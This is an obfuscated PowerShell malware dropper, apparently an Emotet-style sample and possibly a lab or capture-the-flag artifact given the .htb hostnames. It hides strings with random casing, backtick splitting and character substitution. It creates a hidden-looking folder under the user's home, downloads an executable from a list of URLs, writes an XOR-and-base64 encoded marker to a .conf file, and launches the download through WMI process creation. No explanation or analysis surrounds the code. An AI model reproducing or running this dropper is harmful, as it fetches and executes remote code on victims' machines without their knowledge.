SV 0zX ([TyPe]'sYsteM.IO.dIrECtorY' ) ; set TxySeo ( [TYpe]'SYsTEM.NeT.seRVICEpOINTMANaGER') ; $Nbf5tg3='B9yp90s';$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;$Ky3q0e8=(('Rqdx')+'wo5'); ( Dir vaRiAble:0Zx).valuE::"CreAT`E`dIREc`T`OrY"($HOME + ((('nDpJrb')+'evk4nDpCcwr_2hnDp') -RePlAcE 'nDp',[cHaR]92));$FN5ggmsH = (182,187,229,146,231,177,151,149,166);$Pyozgeo=(('J5fy1')+'cc'); ( vaRiABLE TxYSEo ).ValuE::"SecUrI`TYp`R`OtOc`ol" = (('Tls1')+'2');$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);$Huajgb0=(('Jno')+'5ga1');$Bb28umo = (('Ale7g')+'_8');$Hsce_js='Kvnbov_';$Spk51ue=(('C7xo')+'9gl');$Scusbkj=$HOME+(('5tfJrbevk45tfCcwr_2h5tf') -rEplACE ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.ex')+'e');$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);$hbmskV2T=(('C7xo')+'9gl');$hbmskV2T=$HOME+(('5tfJrbevk45tfCcwr_2h5tf') -rEplACE ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.co')+'nf');$Q1_y05_='W4qvyz8';$Odb3hf3=new-object Net.WEBclIENt;$FN5ggmsH += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);$Anbyt1y=('http:][s]'+(('w][('))+(('s)]w'))+'da-industrial.htb][s]wjs'+(('][('))+(('s)]w9IdLP][(s)]w@h'))+'ttp:][s]w][s]wdaprofesional.htb][s]wdata4][s]whWgWjTV][s]w@https:][s]w][s]wdagranitegiare.htb][s]wwp-admin][s]wtV][s]w@http:][s]w][s]wwww.outspokenvisions.htb][s]wwp-includes][s]waWoM][s]w@http:][s]w][s]wmobsouk.h'+(('tb][('))+(('s)]wwp-'))+'includes][s]wUY30R][s]w@http:][s]w][s]wbiglaughs'+(('.htb][(s'))+((')]'))+'wsmallpotatoes'+(('][(s'))+((')]wY][(s)]w@https:][(s)'))+']w][s]wngllogistics.htb][s]wadminer][s]wW3mk'+(('B][(s'))+((')]w'))).repLAcE(('][s]w'),([array]'/','xwe')[0]).sPlIT($Ivg3zcu + $Vxnlre0 + $Jzaewdy);$Gcoyvlv=(('Kf_')+'9et1');foreach ($A8i3ke1 in $Anbyt1y){try{$Odb3hf3.dOWnLOAdfILe($A8i3ke1, $Scusbkj);$Zhcnaux=(('Ekk')+'j47t');If ((Get-Item $Scusbkj).LEnGTh -ge 45199) {${A8I3KE1}.ToCharArray.Invoke() | .'ForEach-Object' -process { ${FN5GGmSh} += ([byte][char]${_} -bxor 0xdf ) }; $FN5ggmsH += (228); $b0Rje = [type]'ConVerT'; $B0RjE::"tO`BaS`E64S`TRI`Ng"(${fn5ggmsh}) | .'out-file' ${hBmSKV2T}; ([wmiclass](('win')+'32_Process')).cReaTE($Scusbkj);$Glwki6a='Imtdxv6';break;$Pfpblh1='Vslalcu'}}catch{}}$F47ief2=(('Bnzid')+'rt')